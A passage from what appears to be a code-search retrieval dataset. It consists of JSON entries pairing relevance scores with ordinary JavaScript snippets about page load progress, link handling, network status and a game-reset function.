{\n return 1;\n }\n\n else {\n return 0;\n }\n\n}", "title": "" }, { "docid": "44d58c76427c6a039d22185b0801c12e", "score": "0.48435882", "text": "function progress_listener(browser, on_loaded)\n{\n var STATE_IS_REQUEST = \n Components.interfaces.nsIWebProgressListener.STATE_IS_REQUEST;\n var STATE_IS_DOCUMENT = \n Components.interfaces.nsIWebProgressListener.STATE_IS_DOCUMENT;\n var STATE_IS_NETWORK =\n Components.interfaces.nsIWebProgressListener.STATE_IS_NETWORK;\n var STATE_IS_WINDOW =\n Components.interfaces.nsIWebProgressListener.STATE_IS_WINDOW;\n\n var STATE_START =\n Components.interfaces.nsIWebProgressListener.STATE_START;\n var STATE_REDIRECTING =\n Components.interfaces.nsIWebProgressListener.STATE_REDIRECTING;\n var STATE_TRANSFERRING =\n Components.interfaces.nsIWebProgressListener.STATE_TRANSFERRING;\n var STATE_NEGOTIATING =\n Components.interfaces.nsIWebProgressListener.STATE_NEGOTIATING;\n var STATE_STOP =\n Components.interfaces.nsIWebProgressListener.STATE_STOP;\n\n var STATUS_RESOLVING =\n Components.interfaces.nsISocketTransport.STATUS_RESOLVING;\n\n\n var brow = browser;\n var handler = on_loaded;\n var pl =\n {\n _requestsStarted: null,\n _requestsFinished: null,\n _pageFuzzyFinished: 0,\n _tmoutid: null, \n _statusChange: null,\n _urqs: Array(),\n\n QueryInterface :\n function(aIID)\n {\n if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||\n aIID.equals(Components.interfaces.nsISupportsWeakReference) ||\n aIID.equals(Components.interfaces.nsISupports))\n return this;\n throw Components.results.NS_NOINTERFACE;\n },\n onStateChange:\n function(prog, req, flg, stat)\n {\n\n var args = '[';\n if (flg & STATE_IS_REQUEST) { args += 'R'; }\n if (flg & STATE_IS_DOCUMENT) { args += 'D'; }\n if (flg & STATE_IS_NETWORK) { args += 'N'; }\n if (flg & STATE_IS_WINDOW) { args += 'W'; }\n args += '][';\n if (flg & STATE_START) { args += 'Start'; }\n if (flg & STATE_REDIRECTING) { args += 'Redir'; }\n if (flg & STATE_TRANSFERRING) { args += 'Trans'; } \n if (flg & STATE_NEGOTIATING) { args += 'Negot'; }\n if (flg & STATE_STOP) { args += 'Stop'; }\n args += ']';\n \n if (flg & STATE_START)\n {\n if (flg & STATE_IS_NETWORK) \n {\n pl._requestsStarted = 0;\n pl._requestsFinished = 0;\n }\n if (flg & STATE_IS_REQUEST)\n {\n ++pl._requestsStarted;\n }\n }\n else\n {\n if (flg & STATE_STOP)\n {\n if (flg & STATE_IS_REQUEST)\n {\n if ( (pl._requestsFinished + 1) <= pl._requestsStarted )\n {\n ++pl._requestsFinished;\n }\n }\n }\n }\n verbose(args + ' ' + pl._requestsStarted + '/' + pl._requestsFinished);\n \n if ( (flg & STATE_START) && (flg & STATE_IS_DOCUMENT) )\n {\n verbose(\"STATE_START && STATE_IS_DOCUMENT\");\n return 0;\n }\n\n if (KrdWrdApp.param.urlrqs)\n {\n // print the URLs for document requests, and other types of\n // requests, such as requests for inline content (e.g. images\n // and stylesheets).\n if ((flg & STATE_STOP) && (flg & STATE_IS_REQUEST))\n {\n const regex = /^(file|gopher|about|chrome|resource):/;\n if (req && !regex.test(req.name) && (!(req.name in pl._urqs)))\n {\n print(\"URQ: \"+req.name);\n pl._urqs[req.name] = \"#seen\";\n }\n }\n }\n\n // now we know about the HTTP Response Code for the document;\n // no more responses needed (img, etc...)\n if ((flg & STATE_IS_REQUEST) && \n (flg & STATE_IS_DOCUMENT) && \n (flg & STATE_TRANSFERRING))\n {\n httpRequestObserver.unregister();\n }\n\n // this is a proper 'page loaded'\n if ( (pl._requestsFinished == pl._requestsStarted)\n && ( (flg & STATE_STOP) && (flg & STATE_IS_NETWORK) ) \n && (stat == false) )\n {\n verbose(\"(_requestsFinished == _requestsStarted) \" + \n \"&& (STOP && IS_NETWORK) && stat == false \");\n fetchGrabDo(prog,req);\n } \n // this is a 'STOP button press'\n else if ( (flg & STATE_STOP) && (flg & STATE_IS_NETWORK) &&\n (flg & STATE_IS_WINDOW) )\n {\n verbose(\"STOP && IS_NETWORK && IS_WINDOW\");\n fetchGrabDo(prog,req);\n } \n // however, also try to determine whether the page is about to\n // 'finish loading': we keep track of the started and finished\n // requests, and when almost all requests have finished and\n // nothing happens within a given timeout we also consider the\n // page loaded.\n // this will be reported as 'FUZ:' \n else if (flg & STATE_STOP && pl._requestsStarted > 0 \n && pl._requestsStarted - pl._requestsFinished <= 1) \n {\n clear_tmoutid();\n pl._tmoutid = setTimeout(function() {\n pl._pageFuzzyFinished += 1; \n fetchGrabDo(prog,req);\n }, KrdWrdApp.param.tmout / 2);\n }\n\n function clear_tmoutid()\n {\n if (pl._tmoutid) clearTimeout(pl._tmoutid);\n }\n\n function fetchGrabDo(prog,req)\n {\n verbose(\"fetchGrabDo\");\n // we have a page within the timeout - clear it\n clear_tmoutid();\n if (this.tmoutid) {\n clearTimeout(this.tmoutid);\n verbose(\"clearTimeout(timeoutid)-ed\");\n } \n\n var doc = brow.contentDocument;\n if (doc.location == null || doc.location == \"about:blank\")\n {\n //if (this._statusChange == undefined) {\n // error(\"DNS - server not found\");\n // this now, is more general - and does work when \n // using offline html-only (without content).\n error(\"contacting \" + browser.getAttribute('src'));\n\n }\n\n if ((prog.DOMWindow == brow.contentWindow) && req && \n (brow.removeProgressListener(brow.listen) || true))\n {\n print('FUZ: '+ ((pl._pageFuzzyFinished > 0) ?\n \"true\" : \"false\"));\n\n // wait a second for the engine to settle\n setTimeout(function()\n {\n try\n {\n handler(doc, prog.DOMWindow);\n }\n catch (e)\n {\n error(\"onLoad of \" + doc.location + \n \": \" + format_exception(e));\n }\n },\n 500);\n }\n }\n return 0;\n },\n onLocationChange:\n function() { // verbose(\"onLocationChange\"); \n return 0; },\n onProgressChange:\n function() { // verbose(\"onProgressChange\"); \n return 0; },\n onStatusChange:\n function(aWebProgress, aRequest, aStatus, aMessage)\n { \n // verbose(\"onStatusChange\");\n if (aStatus !== STATUS_RESOLVING) \n { \n _statusChange = aStatus;\n verbose(aMessage);\n } \n },\n onSecurityChange:\n function() { // verbose(\"onSecurityChange\"); \n return 0; }\n };\n return pl;\n}", "title": "" }, { "docid": "30874be292f6c9b335c9ef08262691d2", "score": "0.48426625", "text": "function computeRefererCounts(){\n//sample data in refererCounts object:\n//{\"http://twitter.com/\":3, \"http://stackoverflow.com/ \": 6}\nvar referrerCounts={}\nfor(var key in visitorsData){\n\tvar referringSite=visitorsData[key].referringSite || '(direct)';\n\tif (referringSite in referrerCounts){\n\t\treferrerCounts[referringSite]++;\n\t}\n\telse{\n\t\treferrerCounts[referringSite]=1\t;\n\t}\n }\n return referrerCounts;\n}", "title": "" }, { "docid": "6aeaac64c4699f553f0e894a38e09c67", "score": "0.48424602", "text": "function getHeaderTime () {\n\t\t var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath));\n\t\t var nLastModif = Date.parse(this.getResponseHeader(\"Last-Modified\"));\n\n\t\t if (isNaN(nLastVisit) || nLastModif > nLastVisit) {\n\t\t window.localStorage.setItem('lm_' + this.filepath, Date.now());\n\t\t isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);\n\t\t }\n\t\t}", "title": "" }, { "docid": "6ba285df0127ea32b0435876c9122279", "score": "0.48341846", "text": "writeStatus(keyword, dateUploaded) {\n // push status to server\n require('request').post({\n url: 'http://development.lifebots.co/api.php/photo_indexing_statuses',\n body: {\n keyword: keyword,\n last_photo_upload: dateUploaded,\n timestamp: (new Date()).getTime()\n }\n }, function(err, res, body) {\n if (err) {\n console.warn('An error occurred writing to photo_' + \n 'indexing_statuses', err);\n } else {\n console.log('Successfully stored photo_indexing_statuses',\n keyword, body);\n }\n });\n }", "title": "" }, { "docid": "d6a587ad3bbba9f99a34c35459f01390", "score": "0.48317495", "text": "function ss(s) \r\n{\r\n\twindow.status = s;\r\n\treturn true;\r\n}", "title": "" }, { "docid": "2ccff64386d47bbb6561ce061739a852", "score": "0.4825102", "text": "function urlExists(url, callback){\n\t\t\t $.ajax({\n\t\t\t type: 'HEAD',\n\t\t\t url: url,\n\t\t\t success: function(){\n\t\t\t callback(true);\n\t\t\t },\n\t\t\t error: function() {\n\t\t\t callback(false);\n\t\t\t }\n\t\t\t });\n\t\t\t}", "title": "" }, { "docid": "6a787c23090790835f1d7042c036eaae", "score": "0.48243147", "text": "function getWeblinkById(req, res) {\n\n\tvar id = req.params.id;\n\tvar user = req.user;\n\n\t\tvar status = {}\n\t\t\tWeblinkModel.findWeblinkById(id).then(function(weblink){\n\t\t\t\tvar type = weblink.type;\n\t\t\t\tvar weblinkId = weblink._id.toString();\n\t\t\t\tif(user) {\n\t\t\t\t\tvar author =( weblink.createdBy._id).toString();\n\t\t\t\t\tvar userId =(user._id).toString();\n\t\t\t\t\tvar registeredUser = weblink.registeredUser;\n\t\t\t\t\tvar bookmarkUser = weblink.bookmarkUser;\n\t\t\t\t\tstatus.msg = \"Web Link conncetion Successfully \";\n\t\t\t\t\tstatus.update = true;\n\t\t\t\t\tstatus.author = false;\n\t\t\t\t\tstatus.bookmarked = false;\n\t\t\t\t\tstatus.weblink = weblink;\n\t\t\t\t\tstatus.user = user;\n\t\t\t\t\tstatus.register = false;\n\t\t\t\t\tstatus.registerUser = false\n\t\t\t\t\tvar similarList = []\n\t\t\t\t\tfor(var i=0; i< bookmarkUser.length; i++) {\n\t\t\t\t\t\tif(bookmarkUser[i] == userId){\n\t\t\t\t\t\t\tstatus.bookmarked = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(author === userId){\n\t\t\t\t\t\tstatus.author = true\t\t\t\t\n\t\t\t\t\t} \n\t\t\t\t\tfor(var i=0; i< registeredUser.length; i++) {\n\t\t\t\t\t\tif(registeredUser[i] == userId){\n\t\t\t\t\t\t\tstatus.register = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tRegWeblinkModel.findsRegisterLinkByIds(weblink.registeredWelink).then((ReglinkRes)=>{\n\t\t\t\t\t\t//status.resdata = resdata\n\t\t\t\n\t\t\t\t\t\t// resdata.map((registerLink)=>{\n\t\t\t\t\t\t// \tif(registerLink.userId._id == user._id) {\n\t\t\t\t\t\t// \tstatus.registerId = registerLink.userId._id ;\n\t\t\t\t\t\t// \tstatus.registerUser = true\n\t\t\t\t\t\t// \tconsole.log('yes');\n\t\t\t\t\t\t// \t}\n\t\t\t\t\t\t// })\n\t\t\t\t\t\tWeblinkModel.findWeblinkByType(type).then(function(smaeTypeWeblink){\n\t\t\t\t\t\t\tsmaeTypeWeblink.map((similar)=>{\n\t\t\t\t\t\t\t\tif(similar._id.toString() !== weblinkId) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tsimilarList.push(similar)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tfor (var i = 0; i < ReglinkRes.length; i++) {\n\t\t\t\t\t\t\t\tif(ReglinkRes[i].userId._id == userId) {\n\t\t\t\t\t\t\t\t\tstatus.registerId = ReglinkRes[i]._id ;\n\t\t\t\t\t\t\t\t\tstatus.registerUser = true\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t//console.log(ReglinkRes[i].userId._id);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstatus.newdata = ReglinkRes;\n\t\t\t\t\t\t\tstatus.similar = similarList;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tres.json(status)\n\t\t\t\t\t\t}, function(err) {\n\t\t\t\t\t\t\tres.json(status)\t\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t\t// WeblinkModel.findWeblinkByType(type).then(function(smaeTypeWeblink){\n\t\t\t\t\t// \tsmaeTypeWeblink.map((similar)=>{\n\t\t\t\t\t// \t\tif(similar._id.toString() !== weblinkId) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t// \t\t\tsimilarList.push(similar)\n\t\t\t\t\t// \t\t}\n\t\t\t\t\t// \t})\n\t\t\t\t\t// \tstatus.similar = similarList;\n\t\t\t\t\t// \tres.json(status)\n\t\t\t\t\t// }, function(err) {\n\t\t\t\t\t// \tres.json(status)\t\n\t\t\t\t\t// })\n\t\t\t\t\t//res.json(status)\n\t\t\t\t} else {\n\t\t\t\t\tstatus.msg = \"your are not login\";\n\t\t\t\t\tstatus.user = null;\n\t\t\t\t\tstatus.weblink = weblink;\n\t\t\t\t\tres.json(status)\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t})\n\n}", "title": "" }, { "docid": "704d1d43f4194e9cbdef2971811d09d7", "score": "0.48236308", "text": "function setStatusImage(status) {\n document.getElementById(\"status-image\").href = \"img/\" + status\n}", "title": "" }, { "docid": "56233fbbf08d1b1d7df1aab82a37713e", "score": "0.4815774", "text": "function get_status(){\n frappe.call({\n method: \"better_saas.better_saas.doctype.saas_user.saas_user.get_status\",\n args: {\n account_request: localStorage.getItem(\"reference\") || '',\n },\n callback: function(r){\n redirect(r.message);\n }\n });\n }", "title": "" }, { "docid": "506d85edcfcf80d6244e27129b0bdb4b", "score": "0.48095906", "text": "function updateNetworkStatus() {\n if (navigator.onLine) {\n metaTagTheme.setAttribute('content', '#005265');\n headerElement.classList.remove('app_offline');\n menuElement.style.background = '#fff';\n } else {\n console.log('App is offline');\n metaTagTheme.setAttribute('content', '#6b6b6b');\n headerElement.classList.add('app_offline');\n menuElement.style.background = '#ececec';\n }\n }", "title": "" }, { "docid": "4194bb3129862f9dc43ece7600a8216e", "score": "0.48075977", "text": "get downloadStatus()\n {\n return this._downloadStatus;\n }", "title": "" }, { "docid": "e2e318ca24cc3b90fc29c31b9c2f94a1", "score": "0.48013425", "text": "function isTracked(long_url){\n var category = getCategory(long_url);\n if(!category)\n return -1;\n else\n return 1;\n}", "title": "" }, { "docid": "d9de340908cb5001ea7adb03a09bb37c", "score": "0.47922584", "text": "function status() {\n\tvar title;\n\tvar text = this.textContent; // capture this context of element\n\tchrome.tabs.getSelected(null,function(tab) { // null defaults to current window\n\t title = tab.title.split(' ');\n\n\t if(set) title[0] = text;\n\t\telse title.unshift(text);\n\t\tset = true;\n\n\t\tstore(tab.url, title.join(\" \"));\n\n\t\tchrome.tabs.executeScript({\n\t code: \"document.title = '\" + title.join(\" \") + \"'\"\n\t });\n\t});\n}", "title": "" }, { "docid": "c6393eb81a3c93fea62a1bdf658b3d38", "score": "0.4788697", "text": "function prodrev_link_chg(link)\n{\n\twindow.location=link;\n}", "title": "" }, { "docid": "dc0a557a06307f1bf121c3a5375be24a", "score": "0.4788691", "text": "function myFunction2(){\n chrome.storage.sync.get(\"ForwardLink\", function(data){\n\tlocation.href = data.ForwardLink;\n\twindow.location = data.ForwardLink;})\n}", "title": "" }, { "docid": "8a3c277180da08bfcda9adab744bb9dc", "score": "0.47861782", "text": "function getAllLinkwithSkip(req, res) {\n\tvar status = {}\n\tvar skip = req.query.skip\n\tif(skip) {\n\t\tWeblinkModel.getWeblinkWithSkip(skip)\n\t\t.then((link)=>{\n\t\t\tif(req.user){\n\t\t\t\tstatus.user = req.user._id\n\t\t\t}\n\t\t\n\t\t\tstatus.msg = \"Web Link Successfully fetched\";\n\t\t\tstatus.update = true;\n\t\t\tstatus.weblink = link;\n\t\t\tres.json(status)\t\n\t\t},(err)=>{\n\t\t\tstatus.msg = 'error in database: '+err;\n\t\t\tstatus.update = false;\n\t\t\tres.json(status)\n\t\t})\n\t}\n\t\n}", "title": "" }, { "docid": "9428784da277445b00255f98f79f395d", "score": "0.47825786", "text": "'links.trackVisit'(_id) {\n const schema = new SimpleSchema({\n _id: {\n type: String,\n min: 1,\n },\n });\n\n schema.validate({ _id });\n\n Links.update({ _id }, {\n $inc: {\n visitedCount: 1,\n },\n $set: {\n lastVisitedAt: new Date().getTime(),\n },\n });\n }", "title": "" }, { "docid": "9c00d4aac3b0564e95615b9aa991943a", "score": "0.47816202", "text": "function shorturl() {\n var longurl = geturl();\n genLink();\n send_request(longurl);\n}", "title": "" }, { "docid": "bfa86b6adf355b9256597437f94cd22b", "score": "0.477702", "text": "function link_go(url)\n{\n window.location.href = url;\n}", "title": "" }, { "docid": "cd8f11d7d6a2e17b75a4d12ae91ed300", "score": "0.47741854", "text": "function changeLinkState(){\n\t\t$('.side-menu-list').find('a').each(function() {\n\t\t\tconst link = $(this);\n\t\t\tconst activeHref = link.attr(\"href\").slice($(this).attr(\"href\").lastIndexOf('/') + 1);\n\t\t\tconst loc = window.location.toString();\n\t\t\tconst urlCheck = loc.slice(loc.lastIndexOf('/') + 1);\n\t\t\tif(urlCheck == activeHref){\n\t\t\t\t// console.log(\"Curnt page is: \" + activeHref);\n\t\t\t\tlink.addClass(\"active\");\n\t\t\t\tlink.parents(\"li.with-sub\").addClass(\"opened current-page\");\n\t\t\t}\n\t\t})\n\t}", "title": "" }, { "docid": "d67ce9224c0379542e01bda966cd7650", "score": "0.47733188", "text": "function classChanged() {\n if (link != window.location.href) {\n window.link = window.location.href;\n pos = window.link.lastIndexOf(\"/\");\n // console.log(window.link.slice(pos + 1)); //debug purposes\n }\n var act = document.getElementsByClassName(\"_1ht2\")[0];\n window.ob.observe(act, {\n attributes: true,\n attributeFilter: [\"class\"]\n });\n}", "title": "" }, { "docid": "fb8d17e5d0ca707e5a4dac8311037871", "score": "0.4771656", "text": "function trackOutboundHP(link, ti, hbn) {\r\n\t\ttry { \r\n\t\t\tdcsMultiTrack('WT.dl', '99', 'WT.ti', ti, 'WT.z_hbn', hbn, 'WT.z_hbn_c', '1');\r\n\t\t} catch(err){}\r\n\t\t\r\n\t\tsetTimeout(function() {\r\n\t\t\tdocument.location.href = link.href;\r\n\t\t\t}, 100);\r\n\t}", "title": "" }, { "docid": "16ed57b93c023b867951228bcac0de50", "score": "0.47670135", "text": "function getProgressStatus(){\n\tJQ.getScript(get_status_url, function(){});\n}", "title": "" }, { "docid": "99896b533b55b8c1559243a065034e6c", "score": "0.47598976", "text": "linkTagChecker(html) {\n\t\treturn utils.analyticsHasLink(html) ? 2 : 0\n\t}", "title": "" }, { "docid": "ae13273c643619e2cd52d5e1b809ef5d", "score": "0.47571343", "text": "function wipeclean_url() {\n\t\tvar current_url = window.location.href.split(\"?\")[0]; \n\t\twindow.history.pushState({}, \"\", current_url ); \n\t}", "title": "" }, { "docid": "f395a85f64665662639d68ccbf34a7c7", "score": "0.47516835", "text": "function saveLinks(response, callback) {\n piece.aposFaviconLinks = response.html.join('');\n return self.apos.docs.db.update({ _id: piece._id }, { $set: { aposFaviconLinks: response.html.join('') } }, callback);\n }", "title": "" }, { "docid": "1d3e0d08dfeb3bac40df57f53c858247", "score": "0.4750898", "text": "function basil_says_cache(host, url)\r\n{\r\n if (url.substring(0, 5) == \"http:\" ||\r\n url.substring(0, 6) == \"https:\"||\r\n url.substring(0, 4) == \"ftp:\"||\r\n url.substring(0, 7) == \"gopher:\")\r\n return true;\r\n\r\n return false;\r\n}", "title": "" }, { "docid": "d29df45bbc1fd687bc537a2bf70092bc", "score": "0.47486156", "text": "function addUser(e){\n var url=e.getAttribute(\"href\");\n url=url+\"?user=\"+getPageUser();\n console.log(\"New URL\",url);\n e.href=url;\n}", "title": "" }, { "docid": "2f160a8c51d092a3d02ededbcdccf19a", "score": "0.47453493", "text": "function changedUS(value){window.location.hash=value;}", "title": "" }, { "docid": "3a612e27d855c73d1b7690b8962af05c", "score": "0.47437215", "text": "function copy_location(original, destination){\n destination.statusCode = original.statusCode;\n destination.setHeader('location', original.headers.location);\n}", "title": "" }, { "docid": "5a57fb4e5925ce9513eef344dd28ec1a", "score": "0.47418112", "text": "function updateNetworkStatus() {\n if (navigator.onLine) { \n headerElement.classList.remove('bg-error');\n headerElement.classList.add('bg-gray');\n } else {\n console.log('App is offline'); \n headerElement.classList.add('bg-error')\n headerElement.classList.remove('bg-gray');\n }\n }", "title": "" }, { "docid": "e2f224747987754ddff8ae431dc91673", "score": "0.47372913", "text": "function processLink(acc, info) {\n idx++\n if (!info) return acc\n const url = info.url\n const file = path.join(resultsPath, `campground.${info.recid}.html`)\n console.log('%s (%d/%d)', url, idx, len)\n const html = util.get(url, file)\n const rawInfo = extractRawInfo(html, url, info.recid, info.actids)\n // util.inspect(rawInfo)\n acc.push(rawInfo)\n return acc\n}", "title": "" }, { "docid": "50d95b7d9b9b35f72afbdd24dc1fd6ae", "score": "0.4736359", "text": "function viewauditdetailsshared(url) {\r\n\tvar a = document.createElement(\"a\");\r\n\tif (!a.click) //for IE\r\n\t{\r\n\t\twindow.location = url;\r\n\t\treturn;\r\n\t}\r\n\ta.setAttribute(\"href\", url);\r\n\ta.style.display = \"none\";\r\n\tdocument.body.appendChild(a);\r\n\ta.click();\r\n}", "title": "" }, { "docid": "50d95b7d9b9b35f72afbdd24dc1fd6ae", "score": "0.4736359", "text": "function viewauditdetailsshared(url) {\r\n\tvar a = document.createElement(\"a\");\r\n\tif (!a.click) //for IE\r\n\t{\r\n\t\twindow.location = url;\r\n\t\treturn;\r\n\t}\r\n\ta.setAttribute(\"href\", url);\r\n\ta.style.display = \"none\";\r\n\tdocument.body.appendChild(a);\r\n\ta.click();\r\n}", "title": "" } ]
12e26a18f3b87f6a9ca8256d4bfaa0e8
bb_resetGame() Called by: bb_startBtn Resets the scores when start button clicked Input: N/A Returns: N/A
[ { "docid": "f1652fd2f63165ce8847fe1c2d5ec9eb", "score": "0.8363929", "text": "function bb_resetGame() {\n\tconsole.log('bb_resetGame')\n\t//Reset score\n\tscore = 0;\n\thits = 0;\n\tmisses = 0;\n\n\t//create the balls\n\tbb_createBall(NUMBALLS, BALLDIA)\n\n\t// Start/Reset timer\n\tbb_timer = setInterval(bb_playTimer, 1000);\n\tcounter = 10;\n\tui_changeHTML(\"p_time\", \"Time : \" + counter)\n\n\n\tui_changeHTML(\"p_bbGameResult\", \"Result : \")\n}", "title": "" } ]
[ { "docid": "c2842e18d411ed19f64fcdae1c5b355f", "score": "0.8079309", "text": "function resetGame(){\n\n\t\n\n\t\tclearQuestion();\n\n\t\t\n\n\t\t$(\"#category\").html(\"\");\n\n\t\tvar score = $(\".score-window\");\n\t\tscore.html(\t'<p> Right Answers: ' + right + '</p>' +\n\t\t\t\t\t'<p> Wrong Answers: ' + wrong + '</p>' +\n\t\t\t\t\t'<p> Unanswered: ' + unanswered + '</p>');\n\t\t$(\"#start-button\").text(\"Start Over?\");\n\t\t$(\"#start-button\").show();\n\t\tright = 0;\n\t\twrong = 0;\n\t\tunanswered = 0;\n\t\tintervalId;\n\t\ttimerIsRunning1 = false;\n\t\tquestionsLoaded = false;\n\t\tisGameOver = false;\n\n\t\tloadQuestion();\n\t\t$(\"#start-button\").off().on(\"click\",function(){\n\t\t\t$(\"#start-button\").hide();\n\t\t\tscore.html(\"\");\n\n\t\t\tdisplayQuestion();\n\t\t});\n\t}", "title": "" }, { "docid": "29b54e25b0586a9db5c4fc04e34cfe93", "score": "0.80495244", "text": "function resetGame(){\n userScore = 0;\n gameStart();\n}", "title": "" }, { "docid": "86866c30a56dc3c4c4f33640ab60dcbc", "score": "0.794168", "text": "function reset() {\nuserScore = 0;\ncomputerScore = 0\ndisplayScores();\nrockBtn.disabled = false;\npaperBtn.disabled = false;\nscissorsBtn.disabled = false;\ninstruct.innerHTML = openInstructions;\nwinner.innerHTML = null;\nsetCompToNone();\nsetToNone();\n\n}", "title": "" }, { "docid": "904cf0147ecdd232c662673ebaf15f4d", "score": "0.7915402", "text": "function resetGame() {\n game = {\n status: 'off',\n strict: 'off',\n score: \"--\",\n gameSequence: [],\n playerSequence: [],\n timestep: 1000,\n allowPress: true,\n active: false\n };\n counter = 0;\n $('#score-screen').attr(\"placeholder\", game.score);\n $('.strict-led').css('background-color', '#460000');\n}", "title": "" }, { "docid": "9241fe9de934501d2eb51ecc0cd731e9", "score": "0.7858934", "text": "function startButtonPressed() {\n resetGame();\n }", "title": "" }, { "docid": "b20df57fdba2e489e1c8f5508fbdde83", "score": "0.78454226", "text": "function resetGame() {\n gamesLost = 0;\n gamesWon = 0;\n updateScoreBar(gamesLost, gamesWon);\n player.setInitialCoordinates();\n}", "title": "" }, { "docid": "52e7cd610806991e22b4586802551d42", "score": "0.78400064", "text": "function reset() {\n player.reset();\n resetBugs();\n game.timesAcross = 0;\n game.score = 0;\n updateDisplay();\n}", "title": "" }, { "docid": "8eabb50980781117d0d3482df343adbf", "score": "0.78030163", "text": "function reset() {\n\t$bigBtn.text('');\n\t$bigBtn.button('reset');\n\tGame.turn = 0;\n\tGame.board = [];\n\tGame.winner = false;\n\t$alert.text('Please choose a side.');\n\tconsole.log('board now reset');\n}", "title": "" }, { "docid": "143a7df135de78b96b39d4da8d5f3fb5", "score": "0.7802714", "text": "function reset() {\n myGlobal.touchedToStart = false;\n myGlobal.isPaused = false;\n pauseButton.text = '|| ';\n console.log('resetting game');\n theGame.reset();\n }", "title": "" }, { "docid": "c16c603c684c71dbf51df6b8dff2e7a8", "score": "0.77757007", "text": "resetGame(){\n\t\tclearCanvas()\n\t\tthis.timer = 16\n\t\tthis.level = 0\n\t\tlet levelDisplay = document.getElementById('level')\n\t\tlevelDisplay.textContent = `Level: ${this.level}`\n\n\n\t\t// startButtons.style.display = \"flex\"\n\t\t// startButtons.style.justifyContent = \"center\"\n\n\t\tif (this.playerOne !== null){\n\t\t\tthis.playerOne.score = 0\n\t\t\tthis.updateScoreboard()\n\t\t}\n\n\t\tif (this.playerTwo !== null){\n\t\t\tthis.playerTwo.score = 0\n\t\t\tthis.updateScoreboard()\n\t\t}\n\n\t\tthis.started = false\n\n\t}", "title": "" }, { "docid": "7c22bb39b7aa37a07591b4d05633401e", "score": "0.7772641", "text": "function reset(){\n canChoose = false;\n playerOneConnected = false;\n playerTwoIsConnected = false;\n startScreen.style.display = \"block\";\n gameplayChoices.style.display = \"block\";\n gameplayScreen.style.display = \"none\";\n joinBoxRoom.style.display = \"none\";\n createRoomBox.style.display = \"none\";\n playerTwo.classList.remove(\"connected\");\n playerOne.classList.remove(\"connected\");\n myScorePoints = 0\n enemyScorePoints = 0\n displayScore()\n setWaitMessage(true);\n}", "title": "" }, { "docid": "e0113afa98ed5137dcd393bacdd04422", "score": "0.77294725", "text": "function resetGame(){\n totalScore = 0;\n $('#totalScore').text('0');\n setJewelValues();\n setGuessNumber();\n}", "title": "" }, { "docid": "16e6e6c4ae49c86d7e9307978e9170f2", "score": "0.7691011", "text": "function gameReset() {\n playerScore = 0;\n roundScore = 0;\n computerScore = 0;\n tieScore = 0;\n selection = \" \";\n changeAnswer = \" \";\n}", "title": "" }, { "docid": "896a5d728848099746bc1562d2c14733", "score": "0.76901156", "text": "function resetGame() {\n\tvar resetButton = document.getElementById(\"resetButton\");\n\tresetButton.addEventListener(\"click\", function() {\n\t\tlocation.reload();\n\t\t// questionAnswerBox.innerHTML = \"\";\n\t\t// var answerDisplayBox = document.getElementById(\"answerDisplayBox\");\n\t\t// answerDisplayBox.innerHTML = \"\";\n\t\t// var nextQuestionBox = document.getElementById(\"nextQuestionBox\");\n\t\t// nextQuestionBox.innerHTML = \"\";\n\t\t// var p1Scoreboard = document.getElementById(\"player1Score\");\n\t\t// p1Scoreboard.textContent = \"\";\n\t\t// var p2Scoreboard = document.getElementById(\"player2Score\");\n\t\t// p2Scoreboard.textContent = \"\";\n\t\t// var scoreboardHeader1 = document.getElementById(\"player1ScoreHeaderWinner\");\n\t\t// scoreboardHeader1.removeAttribute(\"id\", \"player1ScoreHeaderWinner\");\n\t\t// var scoreboard1 = document.getElementById(\"player1ScoreWinner\");\n\t\t// scoreboard1.removeAttribute(\"id\", \"player1ScoreWinner\");\n\t\t// var scoreboardHeader2 = document.getElementById(\"player2ScoreHeaderWinner\");\n\t\t// scoreboardHeader2.removeAttribute(\"id\", \"player2ScoreHeaderWinner\");\n\t\t// var scoreboard2 = document.getElementById(\"player2ScoreWinner\");\n\t\t// scoreboard2.removeAttribute(\"id\", \"player2ScoreWinner\");\n\t\t// var winner = document.getElementById(\"showWinner\");\n\t\t// winner.textContent = \"\";\n\t\t// playerTurn = 0;\n\t\t// counter = 0;\n\t\t// scoreKeeperP1.length = 0;\n\t\t// scoreKeeperP2.length = 0;\n\t});\n}", "title": "" }, { "docid": "5e6e2d7c6af475c6832f692fd1da6296", "score": "0.7688063", "text": "function reset() {\n\t$(\".flash\").css(\"border-color\", \"white\");\n\t$(\"#scoreTitle\").css(\"background\", \"white\");\n\t$(\"#centerLine\").css(\"background\", \"white\");\n\t$(\".flash\").css(\"box-shadow\", \" 0 0 0 transparent\");\n\t$(\"#leftPaddle\").css(\"top\", \"41.25%\");\n\t$(\"#rightPaddle\").css(\"top\", \"41.25%\");\n\t$(\"#ball\").css(\"top\", centerT);\n\t$(\"#ball\").css(\"left\", centerL);\n\t$(\"#p1\").html(p1Score);\n\t$(\"#p2\").html(p2Score);\n\tlaunched = false;\n\tturnNum++;\t\n}", "title": "" }, { "docid": "559e4369bab7bbc4595689fe5a75394d", "score": "0.7668655", "text": "function reset() {\n\tgameState = 'notStarted';\n\tnewGameBtnExtended.innerText = 'Extended';\n\tnewGameBtnBasic.innerText = 'Basic';\n\tcomputerResultElem.innerHTML = '';\n\tplayerResultElem.innerHTML = '';\n\tcommentator.innerText = 'Wait for result';\n\tcommentator.style.color = \"#fff\";\n\tsetGameElements();\n}", "title": "" }, { "docid": "06b452363d7e5ae418d282dfee8e077b", "score": "0.7663442", "text": "function reset() {\n userScore = 0;\n compScore = 0;\n userScore_span.innerHTML=0;\n compScore_span.innerHTML=0;\n outcome_h1.innerHTML=`Ready to go again?`;\n}", "title": "" }, { "docid": 